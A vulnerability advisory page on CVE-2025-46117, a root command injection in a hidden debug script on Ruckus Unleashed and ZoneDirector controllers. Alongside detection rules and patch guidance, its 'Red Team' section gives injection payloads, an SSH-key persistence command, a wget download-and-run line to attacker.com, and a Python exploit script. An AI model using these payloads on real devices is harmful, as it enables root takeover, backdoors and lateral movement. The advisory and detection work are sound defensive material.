☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-46117

CVE-2025-46117 Command Injection in Commscope
📅 PUBLISHED: 2025-07-21 00:00 UTC 🔄 UPDATED: 2026-08-18 17:13 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.80%
👁️
0.80% probability
20.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-46117 is a critical command injection vulnerability in CommScope Ruckus Unleashed and ZoneDirector products. The flaw resides in a hidden debug script, .ap_debug.sh, accessible from the restricted CLI. Due to improper input sanitization, an authenticated attacker can execute arbitrary operating system commands as root on the controller or a specified target device. This allows for full compromise of the affected network infrastructure, including data exfiltration, lateral movement, and persistent backdoor installation. The vulnerability has a CVSS score of 7.2 (High) due to the high privileges required but the severe impact on confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.2 (High)
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
  • Privileges Required (PR): High (H) – An attacker must have authenticated access to the restricted CLI.
  • User Interaction (UI): None (N) – No user interaction is needed.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full read access to all system data.
  • Integrity (I): High (H) – Full write access to all system data.
  • Availability (A): High (H) – Full ability to disrupt service.

Threat Level: High. While authentication is required, the impact is total system compromise. An attacker with low-level credentials can escalate to root.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw. The restricted CLI in Ruckus Unleashed and ZoneDirector includes a hidden debug script called .ap_debug.sh. This script is intended for troubleshooting but is not exposed in the standard user interface. When invoked from the CLI, the script accepts user-supplied arguments. These arguments are passed to a shell command (likely via eval, system(), or a similar function) without proper sanitization or escaping.

An attacker who has authenticated to the restricted CLI can craft a malicious input that includes shell metacharacters (e.g., ;, |, &&, `). For example, if the script expects a target IP address, an attacker could provide 127.0.0.1; id or $(whoami). The script then executes the entire string as a shell command, resulting in the attacker's injected command being executed with root privileges.

The script can target either the controller itself or a specified remote access point (AP). This means an attacker can use the controller as a pivot point to compromise other devices on the network.

Vulnerable vs. Patched Code

The vulnerable code likely resembles the following (pseudocode):

#!/bin/sh
# .ap_debug.sh - Hidden debug script
TARGET=$1
COMMAND="ping -c 4 $TARGET"
eval $COMMAND

In this example, the $TARGET variable is directly interpolated into the command string without any sanitization. An attacker can set TARGET to 127.0.0.1; id to execute id after the ping.

The patched code would sanitize the input, for example:

#!/bin/sh
# .ap_debug.sh - Patched version
TARGET=$1
# Validate input: only allow IP addresses or hostnames
if [[ $TARGET =~ ^[a-zA-Z0-9.-]+$ ]]; then
    COMMAND="ping -c 4 $TARGET"
    eval $COMMAND
else
    echo "Invalid target"
    exit 1
fi

The patch ensures that only alphanumeric characters, dots, and hyphens are allowed, preventing shell injection. Alternatively, the script could use exec with proper argument separation to avoid shell interpretation entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Access to the restricted CLI of a vulnerable Ruckus device (e.g., via SSH or console).
  • Valid credentials (e.g., admin or operator account).

Exploitation Steps:

  1. Connect to the device:

    ssh admin@<ruckus-ip>
    
  2. Enter the restricted CLI:

    enable
    
  3. Invoke the hidden debug script with a malicious payload:

    .ap_debug.sh "127.0.0.1; id"
    
  4. Verify command execution: The output will show the result of the id command, confirming root access.

  5. Establish persistence:

    .ap_debug.sh "127.0.0.1; echo 'ssh-rsa AAAAB3...' >> /root/.ssh/authorized_keys"
    
  6. Pivot to other devices:

    .ap_debug.sh "192.168.1.100; wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
    

Proof-of-Concept Script (Python):

import paramiko

def exploit(host, username, password, command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(host, username=username, password=password)
    shell = client.invoke_shell()
    shell.send("enable\n")
    shell.send(f".ap_debug.sh \"127.0.0.1; {command}\"\n")
    output = shell.recv(1024).decode()
    print(output)
    client.close()

exploit("192.168.1.1", "admin", "password", "id")

Blue Team (Defensive)

Detection Steps:

  1. Monitor CLI access logs: Look for unusual commands or patterns in the restricted CLI, especially invocations of .ap_debug.sh.
  2. Audit user accounts: Ensure that only authorized personnel have access to the restricted CLI. Implement multi-factor authentication (MFA) where possible.
  3. Network segmentation: Isolate Ruckus management interfaces from the general network to reduce exposure.
  4. Honeypot deployment: Set up a decoy Ruckus device to capture attacker behavior.

Hunting Queries:

  • Splunk: Search for ".ap_debug.sh" in command-line audit logs.
  • ELK: Query for process.name: ".ap_debug.sh" or process.command_line: "*ap_debug*".

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Unusual outbound connections from the Ruckus controller to unknown IPs on non-standard ports.
    • Traffic containing shell metacharacters (e.g., ;, |, &&) in the payload.
  • Host IOCs:

    • Presence of unexpected files in /tmp/ or /root/.
    • New SSH keys in /root/.ssh/authorized_keys.
    • Modified system binaries or scripts.
    • Unusual processes running as root.
  • Log IOCs:

    • Repeated invocations of .ap_debug.sh in CLI logs.
    • Error messages indicating failed command execution attempts.

Detection Engineering

YARA Rule

rule CVE_2025_46117_Ruckus_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-46117 in Ruckus Unleashed/ZoneDirector"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46117"
    strings:
        $s1 = ".ap_debug.sh" ascii wide nocase
        $s2 = "127.0.0.1;" ascii wide
        $s3 = "localhost;" ascii wide
        $s4 = "`" ascii wide
        $s5 = "$(" ascii wide
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-46117 Ruckus Command Injection via .ap_debug.sh
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against Ruckus devices using the hidden .ap_debug.sh script.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46117
logsource:
    product: linux
    service: shell
detection:
    selection:
        CommandLine|contains: '.ap_debug.sh'
    injection:
        CommandLine|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    condition: selection and injection
falsepositives:
    - Legitimate debugging activities by authorized personnel
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46117 Ruckus Command Injection Attempt"; flow:to_server,established; content:".ap_debug.sh"; nocase; pcre:"/\.ap_debug\.sh\s+\S*[;|&`$]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade to Ruckus Unleashed 200.15.6.212.14 or later, or 200.17.7.0.139 or later; upgrade to Ruckus ZoneDirector 10.5.1.0.279 or later.
  2. Restrict CLI access: Limit SSH and console access to trusted IPs only.
  3. Change default credentials: Ensure all accounts use strong, unique passwords.
  4. Disable the debug script: If patching is not immediately possible, remove or rename .ap_debug.sh on the filesystem.

Long-Term Mitigations:

  • Implement network segmentation for management interfaces.
  • Deploy a SIEM to monitor for suspicious CLI activity.
  • Conduct regular vulnerability scans and penetration tests.
  • Apply the principle of least privilege to all user accounts.

Workaround:

  • If patching is delayed, create a wrapper script that validates input before passing it to .ap_debug.sh, or use sudo to restrict execution to specific users.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-46117/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.